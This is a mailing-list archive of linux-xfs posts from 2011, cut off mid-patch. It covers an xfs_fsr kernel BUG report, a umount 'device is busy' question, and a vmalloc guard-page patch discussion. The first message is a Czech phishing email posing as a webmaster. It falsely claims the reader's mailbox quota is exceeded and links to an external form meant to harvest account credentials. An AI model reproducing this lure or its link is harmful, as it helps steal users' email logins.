by mail.ims.uconn.edu (8.14.2/8.14.2) with ESMTP id p2KDqMkP025783; Sun, 20 Mar 2011 09:52:22 -0400 Received: from 41.73.17.34 (proxying for 192.168.12.12) (SquirrelMail authenticated user mu-ping.nieh) by mail.ims.uconn.edu with HTTP; Sun, 20 Mar 2011 09:54:44 -0400 Message-ID: <71620eabb2ddd45efbd060660c7583df.squirrel@mail.ims.uconn.edu> Date: Sun, 20 Mar 2011 09:54:44 -0400 X-ASG-Orig-Subj: Upgrade =?iso-8859-1?Q?sv=E9ho_e-mailov=E9ho?= Subject: Upgrade =?iso-8859-1?Q?sv=E9ho_e-mailov=E9ho?= From: "Webmaster" User-Agent: SquirrelMail/1.4.19-1.fc9 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: mail.ims.uconn.edu[137.99.44.100] X-Barracuda-Start-Time: 1300630623 X-Barracuda-Bayes: INNOCENT GLOBAL 0.5188 1.0000 0.7500 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.96 X-Barracuda-Spam-Status: No, SCORE=1.96 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58452 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Překročili jste limit úložiště na poštovní schránce. Nebudete moci odesílat nebo přijímat novou poštu dokud upgrade vaší e-mailové kvóty. Zkopírujte níže odkaz a vyplňte formulář pro upgrade svého účtu. http://www.pinklez.com/rma/use/emailovyucetaktualizace/form1.html Správce systému 192.168.0.1 From a.beregalov@gmail.com Sun Mar 20 20:33:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,FREEMAIL_FROM, J_CHICKENPOX_23,T_DKIM_INVALID autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2L1Xeqb174401 for ; Sun, 20 Mar 2011 20:33:45 -0500 X-ASG-Debug-ID: 1300671387-3f1c009e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-fx0-f53.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 479F013E88FE for ; Sun, 20 Mar 2011 18:36:28 -0700 (PDT) Received: from mail-fx0-f53.google.com (mail-fx0-f53.google.com [209.85.161.53]) by cuda.sgi.com with ESMTP id Wrxcnxcc4vcdu0Sp for ; Sun, 20 Mar 2011 18:36:28 -0700 (PDT) Received: by fxm11 with SMTP id 11so5146520fxm.26 for ; Sun, 20 Mar 2011 18:36:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:date:message-id:subject:from:to :content-type; bh=l5moFEXo+qieW83iisQK7lHKSabeoGIXPETgllIn/2I=; b=uUqrHbodcj/nJSoxpUTnNu/1u+0jCt9O0AV0gduSIyT+13MeMTI92g3GyjNd7m+o5A Eyf1yZntI4iQjM2Kt/Ax8yLqp+/Kf0W2xcXRzzV9Zc4aIkE8/t26dTJtB7j4pGpOF+Xk aBGcqwnmY1c8Oq2HafV5zgmSNDX03PjFIhNig= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=mvnNwR2cNNi5RNRy1zCbD+paB+C+SEs6XdqnAMm58S4c37qCiwUiB0iKhpamWseg1Q 8Us/AzO4iYv4xipiKaFgOQPfkT4vvaphkq0fuPHEep2SW1ul9gAVgpuKhyUxYkuF/k1P PqeeIPzGV+B8ZTLiUexNpsXl8rXrmm36mDaqA= MIME-Version: 1.0 Received: by 10.223.93.200 with SMTP id w8mr4213929fam.81.1300671286468; Sun, 20 Mar 2011 18:34:46 -0700 (PDT) Received: by 10.223.79.14 with HTTP; Sun, 20 Mar 2011 18:34:46 -0700 (PDT) Date: Mon, 21 Mar 2011 04:34:46 +0300 Message-ID: X-ASG-Orig-Subj: 2.6.39-rc0: xfs: kernel BUG at mm/page_alloc.c:738 Subject: 2.6.39-rc0: xfs: kernel BUG at mm/page_alloc.c:738 From: Alexander Beregalov To: xfs@oss.sgi.com, Linux Kernel Mailing List Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-fx0-f53.google.com[209.85.161.53] X-Barracuda-Start-Time: 1300671399 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58497 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi Steps to reproduce: run xfs_fsr on xfs device arch is x86 UP, kernel is 2.6.38-06507-ga952baa kernel BUG at mm/page_alloc.c:738! invalid opcode: 0000 [#1] last sysfs file: /sys/devices/system/cpu/cpu0/cpufreq/scaling_setspeed Modules linked in: hwmon_vid sata_sil i2c_nforce2 Pid: 1770, comm: xfs_fsr Not tainted 2.6.38-06507-ga952baa #1 /NF7-S/NF7,NF7-V (nVidia-nForce2) EIP: 0060:[] EFLAGS: 00010002 CPU: 0 EIP is at __rmqueue+0x378/0x380 EAX: 00000001 EBX: c163393c ECX: 00000000 EDX: c1633240 ESI: f7782a20 EDI: 00000001 EBP: f57b9c58 ESP: f57b9c20 DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 Process xfs_fsr (pid: 1770, ti=f57b8000 task=f5ae65e0 task.ti=f57b8000) Stack: 00000046 000000b0 00000000 c16338e4 c16338f4 00000000 00000002 00000010 c16338c0 f7782a00 00000001 f77829e0 f77829f8 f77829f8 f57b9cc8 c107874f 00000002 00000041 00000000 ffffffff 00000002 00000001 f6bdbfc4 00000007 Call Trace: [] get_page_from_freelist+0x30f/0x4a0 [] __alloc_pages_nodemask+0xfd/0x620 [] ? sched_clock_cpu+0x7d/0xf0 [] ? trace_hardirqs_off+0xb/0x10 [] ? __do_page_cache_readahead+0x9b/0x200 [] __do_page_cache_readahead+0x110/0x200 [] ? __do_page_cache_readahead+0x9b/0x200 [] ra_submit+0x21/0x30 [] ondemand_readahead+0x151/0x280 [] page_cache_async_readahead+0x76/0xb0 [] generic_file_aio_read+0x4f6/0x740 [] xfs_file_aio_read+0x141/0x260 [] ? sched_clock_cpu+0x7d/0xf0 [] do_sync_read+0x9c/0xd0 [] ? lock_release_non_nested+0x316/0x350 [] ? might_fault+0x4a/0xa0 [] vfs_read+0x97/0x130 [] ? copy_to_user+0x45/0x50 [] ? do_sync_read+0x0/0xd0 [] sys_read+0x3d/0x70 [] sysenter_do_call+0x12/0x36 Code: 4d e8 29 f8 c1 e0 02 8d 5c 01 50 8d 44 30 50 03 45 e8 8b 0a 83 c2 2c 39 c1 0f 85 ef fc ff ff eb ca 85 c9 0f 94 c2 e9 b2 fd ff ff <0f> 0b 0f 0b 0f 0b 66 90 55 89 e5 57 56 53 89 c3 8d 40 08 83 ec EIP: [] __rmqueue+0x378/0x380 SS:ESP 0068:f57b9c20 ---[ end trace 193bca4ca45cfe0f ]--- BUG: sleeping function called from invalid context at kernel/rwsem.c:21 in_atomic(): 0, irqs_disabled(): 1, pid: 1770, name: xfs_fsr INFO: lockdep is turned off. irq event stamp: 37110 hardirqs last enabled at (37109): [] get_page_from_freelist+0x29d/0x4a0 hardirqs last disabled at (37110): [] get_page_from_freelist+0xbf/0x4a0 softirqs last enabled at (35144): [] __do_softirq+0xc1/0x110 softirqs last disabled at (35137): [] do_softirq+0x86/0xd0 Pid: 1770, comm: xfs_fsr Tainted: G D 2.6.38-06507-ga952baa #1 Call Trace: [] ? do_softirq+0x86/0xd0 [] __might_sleep+0xd1/0x100 [] down_read+0x1e/0x90 [] ? trace_hardirqs_off+0xb/0x10 [] ? _raw_spin_unlock_irqrestore+0x47/0x50 [] exit_mm+0x2b/0xf0 [] do_exit+0xd0/0x6c0 [] ? kmsg_dump+0xdf/0x110 [] ? kmsg_dump+0x5b/0x110 [] oops_end+0x6c/0x90 [] die+0x4f/0x70 [] do_trap+0x8e/0xc0 [] ? do_invalid_op+0x0/0xa0 [] do_invalid_op+0x86/0xa0 [] ? __rmqueue+0x378/0x380 [] ? __lock_acquire+0x441/0x19a0 [] ? sched_clock_local.clone.1+0x42/0x1a0 [] ? trace_hardirqs_off_thunk+0xc/0x18 [] error_code+0x5d/0x64 [] ? do_invalid_op+0x0/0xa0 [] ? __rmqueue+0x378/0x380 [] get_page_from_freelist+0x30f/0x4a0 [] __alloc_pages_nodemask+0xfd/0x620 [] ? sched_clock_cpu+0x7d/0xf0 [] ? trace_hardirqs_off+0xb/0x10 [] ? __do_page_cache_readahead+0x9b/0x200 [] __do_page_cache_readahead+0x110/0x200 [] ? __do_page_cache_readahead+0x9b/0x200 [] ra_submit+0x21/0x30 [] ondemand_readahead+0x151/0x280 [] page_cache_async_readahead+0x76/0xb0 [] generic_file_aio_read+0x4f6/0x740 [] xfs_file_aio_read+0x141/0x260 [] ? sched_clock_cpu+0x7d/0xf0 [] do_sync_read+0x9c/0xd0 [] ? lock_release_non_nested+0x316/0x350 [] ? might_fault+0x4a/0xa0 [] vfs_read+0x97/0x130 [] ? copy_to_user+0x45/0x50 [] ? do_sync_read+0x0/0xd0 [] sys_read+0x3d/0x70 [] sysenter_do_call+0x12/0x36 BUG: spinlock lockup on CPU#0, xfs_fsr/1770, c16338e4 Pid: 1770, comm: xfs_fsr Tainted: G D 2.6.38-06507-ga952baa #1 Call Trace: [] ? printk+0x18/0x21 [] do_raw_spin_lock+0x113/0x120 [] _raw_spin_lock+0x52/0x70 [] ? free_pcppages_bulk+0x1d/0x310 [] free_pcppages_bulk+0x1d/0x310 [] ? _raw_spin_lock_irqsave+0x6b/0x80 [] ? __page_cache_release+0x4d/0x100 [] free_hot_cold_page+0x11f/0x180 [] __put_single_page+0x14/0x20 [] put_page+0x35/0x50 [] free_page_and_swap_cache+0x1d/0x50 [] unmap_vmas+0x343/0x4e0 [] ? _raw_spin_unlock_irq+0x22/0x30 [] exit_mmap+0x9f/0x110 [] mmput+0x4c/0xc0 [] exit_mm+0xd2/0xf0 [] do_exit+0xd0/0x6c0 [] ? kmsg_dump+0xdf/0x110 [] ? kmsg_dump+0x5b/0x110 [] oops_end+0x6c/0x90 [] die+0x4f/0x70 [] do_trap+0x8e/0xc0 [] ? do_invalid_op+0x0/0xa0 [] do_invalid_op+0x86/0xa0 [] ? __rmqueue+0x378/0x380 [] ? __lock_acquire+0x441/0x19a0 [] ? sched_clock_local.clone.1+0x42/0x1a0 [] ? trace_hardirqs_off_thunk+0xc/0x18 [] error_code+0x5d/0x64 [] ? do_invalid_op+0x0/0xa0 [] ? __rmqueue+0x378/0x380 [] get_page_from_freelist+0x30f/0x4a0 [] __alloc_pages_nodemask+0xfd/0x620 [] ? sched_clock_cpu+0x7d/0xf0 [] ? trace_hardirqs_off+0xb/0x10 [] ? __do_page_cache_readahead+0x9b/0x200 [] __do_page_cache_readahead+0x110/0x200 [] ? __do_page_cache_readahead+0x9b/0x200 [] ra_submit+0x21/0x30 [] ondemand_readahead+0x151/0x280 [] page_cache_async_readahead+0x76/0xb0 [] generic_file_aio_read+0x4f6/0x740 [] xfs_file_aio_read+0x141/0x260 [] ? sched_clock_cpu+0x7d/0xf0 [] do_sync_read+0x9c/0xd0 [] ? lock_release_non_nested+0x316/0x350 [] ? might_fault+0x4a/0xa0 [] vfs_read+0x97/0x130 [] ? copy_to_user+0x45/0x50 [] ? do_sync_read+0x0/0xd0 [] sys_read+0x3d/0x70 [] sysenter_do_call+0x12/0x36 From lists@nabble.com Mon Mar 21 05:50:21 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.1 required=5.0 tests=BAYES_00,FORGED_YAHOO_RCVD, FREEMAIL_FROM,T_TO_NO_BRKTS_FREEMAIL autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2LAoGIZ198164 for ; Mon, 21 Mar 2011 05:50:21 -0500 X-ASG-Debug-ID: 1300704784-3a9003d80000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sam.nabble.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0274136498A for ; Mon, 21 Mar 2011 03:53:04 -0700 (PDT) Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id TwMd0wuWtpCANy2B for ; Mon, 21 Mar 2011 03:53:04 -0700 (PDT) Received: from isper.nabble.com ([192.168.236.156]) by sam.nabble.com with esmtp (Exim 4.69) (envelope-from ) id 1Q1cjQ-0004v5-3B for linux-xfs@oss.sgi.com; Mon, 21 Mar 2011 03:53:04 -0700 Message-ID: <31199414.post@talk.nabble.com> Date: Mon, 21 Mar 2011 03:53:04 -0700 (PDT) From: stress_buster To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: umount fails with device is busy Subject: umount fails with device is busy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: leo1783@yahoo.com X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1300704795 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -0.61 X-Barracuda-Spam-Status: No, SCORE=-0.61 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58535 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I'm trying to run xfs_repair on my filesystem: Firstly to unmount the fs Quote: umount /myfs umount: /myfs: device is busy umount: /myfs: device is busy Quote: lsof /dev/sda -show none ie nothing seems to be 'touching' the disk. confused why its still showing device is busy i did a force unmount then Quote: #umount -l /dev/sda but then when I try to run xfs_repair Quote: xfs_repair -n /dev/sda, it xfs_repair: /dev/sda contains a mounted and writable filesystem fatal error -- couldn't initialize XFS library lsof /dev/sda shows nothing ie nothing seems to be 'touching' the disk. makes me wonder whether this is a xfs issue now?? Any thoughts??? Thanks David -- View this message in context: http://old.nabble.com/umount-fails-with-device-is-busy-tp31199414p31199414.html Sent from the linux-xfs mailing list archive at Nabble.com. From lists@nabble.com Mon Mar 21 05:51:27 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.1 required=5.0 tests=BAYES_00,FORGED_YAHOO_RCVD, FREEMAIL_FROM,T_TO_NO_BRKTS_FREEMAIL autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2LApL2m198228 for ; Mon, 21 Mar 2011 05:51:27 -0500 X-ASG-Debug-ID: 1300704849-228b007d0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sam.nabble.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B5451159B068 for ; Mon, 21 Mar 2011 03:54:09 -0700 (PDT) Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id v5cZd1eZA1kUcBLE for ; Mon, 21 Mar 2011 03:54:09 -0700 (PDT) Received: from isper.nabble.com ([192.168.236.156]) by sam.nabble.com with esmtp (Exim 4.69) (envelope-from ) id 1Q1ckT-0004y1-CE for linux-xfs@oss.sgi.com; Mon, 21 Mar 2011 03:54:09 -0700 Message-ID: <31199421.post@talk.nabble.com> Date: Mon, 21 Mar 2011 03:54:09 -0700 (PDT) From: stress_buster To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: umount fails with device is busy Subject: umount fails with device is busy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: leo1783@yahoo.com X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1300704860 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -0.61 X-Barracuda-Spam-Status: No, SCORE=-0.61 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58534 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I'm trying to run xfs_repair on my filesystem: Firstly to unmount the fs umount /myfs umount: /myfs: device is busy umount: /myfs: device is busy lsof /dev/sda -show none ie nothing seems to be 'touching' the disk. confused why its still showing device is busy i did a force unmount then #umount -l /dev/sda but then when I try to run xfs_repair xfs_repair -n /dev/sda, it xfs_repair: /dev/sda contains a mounted and writable filesystem fatal error -- couldn't initialize XFS library lsof /dev/sda shows nothing ie nothing seems to be 'touching' the disk. makes me wonder whether this is a xfs issue now?? Any thoughts??? Thanks David -- View this message in context: http://old.nabble.com/umount-fails-with-device-is-busy-tp31199421p31199421.html Sent from the linux-xfs mailing list archive at Nabble.com. From roger@filmlight.ltd.uk Mon Mar 21 06:26:47 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2LBQfNv199706 for ; Mon, 21 Mar 2011 06:26:46 -0500 X-ASG-Debug-ID: 1300706969-04f902380000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from a.mx.filmlight.ltd.uk (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id B19F013EB93E for ; Mon, 21 Mar 2011 04:29:29 -0700 (PDT) Received: from a.mx.filmlight.ltd.uk (a.mx.filmlight.ltd.uk [77.107.81.250]) by cuda.sgi.com with SMTP id hm0yEfTlo1ldF3t1 for ; Mon, 21 Mar 2011 04:29:29 -0700 (PDT) Received: (dqd 968 invoked from network); 21 Mar 2011 11:29:28 -0000 Received: from 0x535b6569.hsnxx3.dynamic.dsl.tele.dk (HELO roger.home) (roger@83.91.101.105) by a.mx.filmlight.ltd.uk with SMTP; 21 Mar 2011 11:29:28 -0000 X-ASG-Orig-Subj: Re: umount fails with device is busy Subject: Re: umount fails with device is busy Mime-Version: 1.0 (Apple Message framework v1082) Content-Type: text/plain; charset=us-ascii From: Roger Willcocks In-Reply-To: <31199414.post@talk.nabble.com> Date: Mon, 21 Mar 2011 11:29:26 +0000 Cc: linux-xfs@oss.sgi.com Content-Transfer-Encoding: 7bit Message-Id: <0D795CD6-BA0B-4A54-9F07-9146908FD08E@filmlight.ltd.uk> References: <31199414.post@talk.nabble.com> To: stress_buster X-Mailer: Apple Mail (2.1082) X-Barracuda-Connect: a.mx.filmlight.ltd.uk[77.107.81.250] X-Barracuda-Start-Time: 1300706980 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58536 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > > I'm trying to run xfs_repair on my filesystem: > Firstly to unmount the fs > > Quote: > umount /myfs > umount: /myfs: device is busy > umount: /myfs: device is busy > > Quote: > lsof /dev/sda > > -show none ie nothing seems to be 'touching' the disk. > confused why its still showing device is busy Are you swapping to it ? # cat /proc/ swaps From hannes@cmpxchg.org Mon Mar 21 07:22:52 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2LCMkTQ201913 for ; Mon, 21 Mar 2011 07:22:52 -0500 X-ASG-Debug-ID: 1300710343-1a9002e70000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from zene.cmpxchg.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9B72236521B for ; Mon, 21 Mar 2011 05:25:44 -0700 (PDT) Received: from zene.cmpxchg.org (zene.cmpxchg.org [85.214.230.12]) by cuda.sgi.com with ESMTP id SwFqEHjelaF5wjyp for ; Mon, 21 Mar 2011 05:25:44 -0700 (PDT) Received: from 178-25-97-198-dynip.superkabel.de ([178.25.97.198] helo=chigurh.home.cmpxchg.org) by zene.cmpxchg.org with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.72) (envelope-from ) id 1Q1eAv-0005pR-Lu; Mon, 21 Mar 2011 12:25:33 +0000 Date: Mon, 21 Mar 2011 13:25:26 +0100 From: Johannes Weiner To: Dave Chinner Cc: Christoph Hellwig , Nick Piggin , Hugh Dickins , Andrew Morton , xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110321122526.GX2140@cmpxchg.org> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> <20110310073751.GB25374@infradead.org> <20110310224945.GA15097@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310224945.GA15097@dastard> X-Barracuda-Connect: zene.cmpxchg.org[85.214.230.12] X-Barracuda-Start-Time: 1300710344 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58541 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 09:49:45AM +1100, Dave Chinner wrote: > On Thu, Mar 10, 2011 at 02:37:51AM -0500, Christoph Hellwig wrote: > > On Thu, Mar 10, 2011 at 10:37:56AM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > On 32 bit systems, vmalloc space is limited and XFS can chew through > > > it quickly as the vmalloc space is lazily freed. This can result in > > > failure to map buffers, even when there is apparently large amounts > > > of vmalloc space available. Hence, if we fail to map a buffer, purge > > > the aliases that have not yet been freed to hopefuly free up enough > > > vmalloc space to allow a retry to succeed. > > > > IMHO this should be done by vm_map_ram internally. If we can't get the > > core code fixes we can put this in as a last resort. > > OK. The patch was done as part of the triage for this bug: > > https://bugzilla.kernel.org/show_bug.cgi?id=27492 > > where the vmalloc space on 32 bit systems is getting exhausted. I > can easily move this flush-and-retry into the vmap code. The problem appears to be with the way vmap blocks are allocated. It would explain the symptoms perfectly: failing allocations long before vmap space is exhausted. I had the following test patch applied to a vanilla -mmotm and a patched one: --- diff --git a/init/main.c b/init/main.c index 4a9479e..62f92f9 100644 --- a/init/main.c +++ b/init/main.c @@ -559,6 +559,9 @@ asmlinkage void __init start_kernel(void) if (panic_later) panic(panic_later, panic_param); + extern void vmalloc_test(void); + vmalloc_test(); + lockdep_info(); /* diff --git a/mm/vmalloc.c b/mm/vmalloc.c index cbd9f9f..d6f75dc 100644 --- a/mm/vmalloc.c +++ b/mm/vmalloc.c @@ -1116,6 +1116,16 @@ void __init vmalloc_init(void) vmap_initialized = true; } +void vmalloc_test(void) +{ + struct page *pages[] = { ZERO_PAGE(0) }; + unsigned long total = 0; + + while (vm_map_ram(pages, 1, -1, PAGE_KERNEL)) + total++; + panic("Vmapped %lu single pages\n", total); +} + /** * map_kernel_range_noflush - map kernel VM area with the specified pages * @addr: start of the VM area to map --- where the results are: vanilla: Kernel panic - not syncing: Vmapped 15360 single pages patched: Kernel panic - not syncing: Vmapped 30464 single pages The patch with a more accurate problem description is attached at the end of this email. > FWIW, while the VM folk might be paying attention about vmap realted > stuff, this vmap BUG() also needs triage: > > https://bugzilla.kernel.org/show_bug.cgi?id=27002 I stared at this bug and the XFS code for a while over the weekend. What you are doing in there is really scary! So xfs_buf_free() does vm_unmap_ram if the buffer has the XBF_MAPPED flag set and spans multiple pages (b_page_count > 1). In xlog_sync() you have that split case where you do XFS_BUF_SET_PTR on that in-core log's l_xbuf which changes that buffer to, as far as I could understand, linear kernel memory. Later in xlog_dealloc_log you call xfs_buf_free() on that buffer. I was unable to determine if this can ever be more than one page in the buffer for the split case. But if this is the case, you end up invoking vm_unmap_ram() on something you never vm_map_ram'd, which could explain why this triggers the BUG_ON() for the dirty area map. But even if this is all fine and working, this looks subtle as hell. This BUG_ON() is not necessarily a sign of a faulty vmap allocator, but could just as much indicate a faulty caller. > And, finally, the mm-vmap-area-cache.patch in the current mmotm also > needs to be pushed forward because we've been getting reports of > excessive CPU time being spent walking the vmap area rbtree during > vm_map_ram operations and this patch supposedly fixes that > problem.... It looks good to me. After Nick's original hole searching code did my head in, I am especially fond of Hugh's simplifications in that area ;-) So for what it's worth: Acked-by: Johannes Weiner And here is the patch that should improve on the vmap exhaustion problems observed with XFS on 32-bit. It removes the guard page allocation from the basic vmap area allocator and leaves it to __get_vmap_area() and thus vmalloc to take care of the guard page. If it's deemed necessary to have guard pages also for vm_map_ram(), I think it should be handled in there instead. This patch does not do this. --- From: Johannes Weiner Subject: [patch] mm: vmalloc: remove guard pages from between basic vmap areas The vmap allocator is used, among other things, to allocate per-cpu vmap blocks, where each vmap block is naturally aligned to its own size. Obviously, leaving a guard page after each vmap area forbids packing vmap blocks efficiently and can make the kernel run out of possible vmap blocks long before vmap space is exhausted. The vmap code to map a user-supplied page array into linear vmalloc space insists on using a vmap block (instead of falling back to a custom area) when the area size is beneath a certain threshold. With heavy users of this interface (e.g. XFS) and limited vmalloc space on 32-bit, vmap block exhaustion is a real problem. Remove the guard page from this allocator level. It's still there for vmalloc allocations, but enforced higher up. Signed-off-by: Johannes Weiner --- mm/vmalloc.c | 6 +++--- 1 files changed, 3 insertions(+), 3 deletions(-) diff --git a/mm/vmalloc.c b/mm/vmalloc.c index cbd9f9f..5d8666b 100644 --- a/mm/vmalloc.c +++ b/mm/vmalloc.c @@ -307,7 +307,7 @@ nocache: /* find starting point for our search */ if (free_vmap_cache) { first = rb_entry(free_vmap_cache, struct vmap_area, rb_node); - addr = ALIGN(first->va_end + PAGE_SIZE, align); + addr = ALIGN(first->va_end, align); if (addr < vstart) goto nocache; if (addr + size - 1 < addr) @@ -338,10 +338,10 @@ nocache: } /* from the starting point, walk areas until a suitable hole is found */ - while (addr + size >= first->va_start && addr + size <= vend) { + while (addr + size > first->va_start && addr + size <= vend) { if (addr + cached_hole_size < first->va_start) cached_hole_size = first->va_start - addr; - addr = 